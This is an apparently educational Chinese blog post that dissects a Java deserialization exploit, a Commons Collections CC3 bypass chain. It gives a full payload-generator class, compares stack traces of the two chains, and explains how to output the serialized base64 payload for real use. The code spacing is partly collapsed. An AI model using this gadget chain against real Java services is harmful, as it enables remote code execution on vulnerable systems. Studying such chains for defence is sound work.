反序列化动态调试从0.5到1

接上文https://articles.zsxq.com/id_0t5vt1gxmwab.html

前面如果有跟着做的人应该已经能够动态调试了吧,查看每一步数据有什么不同之处,在这里,我想先把上一步过程中的一些复杂的地方简单化,并且分开讲解其中的一些点。

步骤拆分

1、首先,先看一整个类,有这么长

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

publicclassCC3_bypass {
publicstaticvoidsetFieldValue(Object obj, String fieldName, Object
            value) {
try {
Fieldfield= obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        } catch (Exception e) {
        }
    }
publicstaticvoidmain(String[] args)throws Exception{
ConstantTransformerconstantTransformer=newConstantTransformer(1);
TemplatesImplobj=newTemplatesImpl();
        setFieldValue(obj, "_bytecodes", newbyte[][]{
                ClassPool.getDefault().get(Exp.class.getName()).toBytecode()
        });

        setFieldValue(obj, "_name", "1");
        setFieldValue(obj, "_tfactory", newTransformerFactoryImpl());

        InstantiateFactory instantiateFactory;
        instantiateFactory = newInstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class
                ,newClass[]{javax.xml.transform.Templates.class},newObject[]{obj});

FactoryTransformerfactoryTransformer=newFactoryTransformer(instantiateFactory);


MapinnerMap=newHashMap();

LazyMapouterMap= (LazyMap)LazyMap.decorate(innerMap, constantTransformer);

TiedMapEntrytme=newTiedMapEntry(outerMap, "keykey");

MapexpMap=newHashMap();
        expMap.put(tme, "valuevalue");
        setFieldValue(outerMap,"factory",factoryTransformer);

        outerMap.remove("keykey");


ByteArrayOutputStreambyteArrayOutputStream=newByteArrayOutputStream();
ObjectOutputStreamobjectOutputStream=newObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(expMap);

ByteArrayInputStreambyteArrayInputStream=newByteArrayInputStream(byteArrayOutputStream.toByteArray());
        Base64.Encoderencoder= Base64.getEncoder();
Stringencode= encoder.encodeToString(byteArrayOutputStream.toByteArray());
        System.out.println(encode);

ObjectInputStreamois=newObjectInputStream(new
ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Objecto= (Object)ois.readObject();
    }
}

2、如果让我简单拆分,应该分为以下几部分

第一部分,引用包,一般没什么特别注意的,就是引用了哪些包里面的代码,暂时不用特意关注

第二部分,反射方法 setFieldValue

作用是反射赋予某项某值,后面详细介绍

第三部分,获取恶意类对象 factoryTransformer

第四部分,反序列化核心部分,构造gadget chain的地方

第五部分,序列化与反序列化

各部分分析

第一部分 引用包

可以说是文件包含类的东西,需要某个类中的方法,就需要引用,没有什么需要详细讲的。

第二部分 setFieldValue

我也不知道是不是约定俗成的,明明是自己定义的方法,但是名字都是叫setFieldValue,详见ysoserial代码:ysoserial.payloads.util.Reflections

也有地方不使用定义一个方法这样的方式进行反射赋值,而是使用以下方式,效果是一样的。具体可以了解一下何为反射,这就是常见反射赋值的方式

第三部分 恶意类对象的获取

首先先看constantTransformer对象,内容为1,此处无实际意义。只是在创建HashMap恶意对象前,先传入一个无用的constantTransformer,最后再通过反射,将恶意的factoryTransformer赋值进去,避免了在序列化的时候就触发了恶意代码。

然后是TemplatesImpl对象的创建,有了解过TemplatesImpl的应该知道,这其实也是有一条利用链的,可以用来执行任意java恶意字节码

在newTransformer方法中,这里会调用到getTransletInstance

在getTransletInstance中,首先需要_name不为空,然后试_class为空,进而调用defineTransletClasses。下一步调用newInstance触发。

看下defineTransletClasses,这里需要_bytecodes不为空

往下走可以看到通过defineClass定义了恶意类,所以_bytecodes指定了恶意类字节码

往回走一点,loader的定义,这里调用了_tfactory.getExternalExtensionsMap(),所以需要给它赋值

第四部分 gadget chain

gadget chain即反序列化利用链。

原文表示此为CC3的绕过。

CC3原版的链

<init>:16, TemplatesImplEvil (com.classloader)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect) [2]
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect) [1]
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
transform:106, InstantiateTransformer (org.apache.commons.collections.functors)
transform:123, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
readObject:1405, HashMap (java.util)
readObject:373, ObjectInputStream (java.io)

bypass链

<init>:11, Exp (org.example)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) [2]
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) [1]
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
create:129, InstantiateFactory (org.apache.commons.collections.functors)
transform:73, FactoryTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
readObject:1405, HashMap (java.util)
readObject:373, ObjectInputStream (java.io)
main:77, CC3_bypass (org.example)

看了之后可以发现,从ObjectInputStream.readObject一直到LazyMap.get,都是与原来的链相同的,不同点在这里

create:129, InstantiateFactory (org.apache.commons.collections.functors)
transform:73, FactoryTransformer (org.apache.commons.collections.functors)

这LazyMap.get处,可以指定调用到哪个类的transform方法,这里指定了FactoryTransformer

然后到org.apache.commons.collections.functors.FactoryTransformer#transform

构造方法控制iFactory的值,调用其create方法

在create方法中,调用newInstance,进而到CC3的后续部分

通过com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 的构造方法中调用newTransformer()

TemplatesImpl通过newTransformer执行字节码

第五部分 序列化和反序列化

这里是一条反序列化的利用链,那么肯定少不了序列化和反序列化的过程,也就是此处,实际利用的话就是去掉后半部分,只留下序列化和输出序列化内容。

其中writeObject即是序列化关键函数

被序列化的对象为expMap,根据利用链知道,需要调用的是HashMap.readObject,所以这里也就是HashMap的对象

中间部分为输出序列化内容的base64,不需要的情况下也是可以注释掉的

最后是反序列化部分,readObject为关键函数

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值